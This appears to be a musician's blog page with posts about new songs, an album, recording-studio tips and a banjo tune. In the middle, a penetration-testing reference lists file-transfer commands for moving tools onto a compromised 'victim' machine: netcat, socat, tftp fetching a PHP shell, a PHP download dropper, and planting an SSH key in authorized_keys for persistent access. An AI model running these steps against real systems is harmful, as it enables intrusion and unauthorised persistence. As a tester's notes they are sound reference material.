I have been cranking away at some new songs. I just released two over the last week. I hope you enjoy them. Please comment, subscribe, yada yada.
And, of course, you can hear the full album I released back in June:
If you’d like a copy of that album on CD, just shoot me your name and address. It is free, and I will cover the shipping cost!
My new solo album is out (unofficially)! It has been “soft launched” at willchathammusic.com and you can stream the whole thing from there, or buy it to download and listen to as you wish.
The album features some musical mastery from friend and former bandmate Morgan Geer (bass on Donald Trump Eats Babies), as well as the vocal talents of current bandmate David Earl Tomlinson (vocals on Hello My Friend).
Additionally, my two teens, Gray Chatham and Dax Chatham, contributed trumpet and sax parts on several songs. Needless to say, I am stoked at how all this came together.
The CDs and officially release to all the usual streaming services will be happening soon, but for now, here is the album. I hope you find something on it you like – it is a, well, variety of genres!
Digging through my pentesting notes from over the last few years, I pulled together various scrawled things on quick ways to transfer files from one place to another. Thought I’d share the reference here in case anyone finds it useful.
Note: Some of this may have been copy/pasted from various places — I don’t honestly remember. If you recognize something, let me know – I am happy to give credit where credit is due!
This is an easy way to set up a web-server. This command will make the entire folder, from where you issue the command, available on port 9999.
python -m SimpleHTTPServer 9999You can download files from that running Pything server using wget like this:
wget 192.168.1.102:9999/file.txtcurl -O <http://192.168.0.101/file.txt>Another easy way to transfer files is by using netcat.
If you can’t have an interactive shell it might be risky to start listening on a port, since it could be that the attacking-machine is unable to connect. So you are left hanging and can’t do ctr-c because that will kill your session.
So instead you can connect from the target machine like this.
On attacking machine:
nc -lvp 4444 < fileOn target machine:
nc 192.168.1.102 4444 > fileYou can of course also do it the risky way, the other way around:
So on the victim-machine we run nc like this:
nc -lvp 3333 > enum.shAnd on the attacking machine we send the file like this:
nc 192.168.1.103 < enum.shI have sometimes received this error:
This is nc from the netcat-openbsd package. An alternative nc is availableI have just run this command instead:
nc -l 1234 > file.shServer receiving file:
server$ socat -u TCP-LISTEN:9876,reuseaddr OPEN:out.txt,creat && cat out.txt
client$ socat -u FILE:test.txt TCP:127.0.0.1:9876Server sending file:
server$ socat -u FILE:test.dat TCP-LISTEN:9876,reuseaddr
client$ socat -u TCP:127.0.0.1:9876 OPEN:out.dat,createcho "<?php file_put_contents('nameOfFile', fopen('<http://192.168.1.102/file>', 'r')); ?>" > down2.phpIf you have access to a ftp-client to can of course just use that. Remember, if you are uploading binaries you must use binary mode, otherwise the binary will become corrupted!!!
On some rare machine we do not have access to nc and wget, or curl. But we might have access to tftp. Some versions of tftp are run interactively, like this:
$ tftp 192.168.0.101
tftp> get myfile.txtIf we can’t run it interactively, for whatever reason, we can do this trick:
tftp 191.168.0.101 <<< "get shell5555.php shell5555.php"If you manage to upload a reverse-shell and get access to the machine you might be able to enter using ssh. Which might give you a better shell and more stability, and all the other features of SSH. Like transferring files.
So, in the /home/user directory you can find the hidden .ssh files by typing ls -la.Then you need to do two things.
Create a new keypair
You do that with:
ssh-keygen -t rsa -C "your_email@example.com"then you enter a name for the key.
Enter file in which to save the key (/root/.ssh/id_rsa): nameOfMyKeyEnter passphrase (empty for no passphrase):Enter same passphrase again:
This will create two files, one called nameOfMyKey and another called nameOfMyKey_pub. The one with the _pub is of course your public key. And the other key is your private.
Add your public key to authorized_keys
Now you copy the content of nameOfMyKey_pub.On the compromised machine you go to ~/.ssh and then run add the public key to the file authorized_keys. Like this
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDQqlhJKYtL/r9655iwp5TiUM9Khp2DJtsJVW3t5qU765wR5Ni+ALEZYwqxHPNYS/kZ4Vdv..." > authorized_keysLog in
Now you should be all set to log in using your private key. Like this
ssh -i nameOfMyKey kim@192.168.1.103Now we can copy files to a machine using scp
# Copy a file:
scp /path/to/source/file.ext username@192.168.1.101:/path/to/destination/file.ext
# Copy a directory:
scp -r /path/to/source/dir username@192.168.1.101:/path/to/destinationAre you a musician who has made that all-important step forward and booked yourself time in a recording studio for your first ever session? It’s a huge step, and one to feel proud and excited about, but at the same time, you want to be sure you make the most of the opportunity and show up prepared and ready to work, and be creative.
To help you better understand what your experience will be like in a recording studio, allowing you to plan appropriately, let’s break down exactly how things work.
Before making any sort of booking at a recording studio, it’s important to determine what exactly a booking includes. Will you have self-service access to equipment? What is the quality of the equipment? Do you have to pay a premium to use the equipment? What is the length of time of your booking? What about a space for production, writing, and editing? Is there a vocal booth? These are just some of the things you’ll want to investigate before you make any sort of booking. It ensures that you’re getting what you need, and that you’re getting your money’s worth. It also helps you to narrow down the options and pick the ideal recording studio for you.
For many artists, the best recording studio is the one you can write and produce music in, and take advantage of day rates. These are all the features that Pirate Studio in Brooklyn offers musicians, giving them the tools and the flexibility that they need to make music happen and feed their art. These Brooklyn recording studios are well-known in the industry and have a very strong and respected reputation.
Because time is of the essence, you’ll want to head into the experience expecting to get to work the moment you step foot in the studio. Artists are recommended to speak with their producer/engineer in advance and have a plan on what to accomplish in the session.
For musicians, the idea of having a schedule or a plan can seem a bit stifling and doesn’t allow for that natural organic flow, but here’s the thing – you’re on the clock, so forming those creative thoughts and visions in advance can definitely help the session to be more successful.
Because you want to get started right away, it’s also wise to tune up your gear ahead of time and make sure everything is working properly. You could even do a little practice run before you head out to the recording studio, thereby eliminating the need to do so when you arrive.
If you require a lot of gear, make sure you take the time to go over everything you have packed, making sure nothing has been forgotten. Making a list of items you want to take with you can help to alleviate some of the stress. It ensures nothing gets forgotten in the rush of the moment.
While it may be tempting to bring along all kinds of friends to help you out, the fact is that you don’t want the studio to be too crowded and to get too hectic. Try to keep the bodies to a minimum and just bring the people you need to help you make your music. If a person doesn’t add to the process and have a job to do, then they probably aren’t needed in the studio.
The last thing you want is to be distracted while you’re in the recording studio trying to accomplish your music goals.
Once you are in the studio and you see all the equipment before you, don’t be afraid to experiment. You can step outside your box, try a different set-up, make small adjustments, and just allow yourself to be creative in the moment. So, while it’s good to have a plan, that plan doesn’t have to be written in stone and there still needs to be room for creative freedom.
The final tip is a really simple one, but it’s also important. Be sure to also pack some snacks and beverages. You could be in that studio all day so your vocal health and energy level needs to be something you are mindful of.
As a musician, there is nothing quite like the first time you step foot into a recording studio. It’s an impressive milestone, and one that you don’t want to take lightly. Go ahead and celebrate, pat yourself on the back, and then get down to business and make the absolute most of your time in the studio.
Here’s one I learned by starting with Jason Skinner videos on YouTube, but also by listening to the original from Don Reno over and over. I’ll never play it as well as he did, but at least I got to play on his banjo once.
Let me know what you think!
During this insane quarantine time we are all stuck in the middle of, I started working on a new album that, unlike my last one, won’t be in the electronica realm. Now that I’ve finally built somewhat of a home studio where I can play instruments and be loud without the need to channel everything through headphones, my options are much more inspiring.
That, coupled with this deep, intense angst that many of us are feeling as we are trapped at home under this new but hopefully temporary way of living, led to the following track that I hope you enjoy.
It is available on iTunes, Spotify, Amazon, and all the usual places, but you can also listen to it here: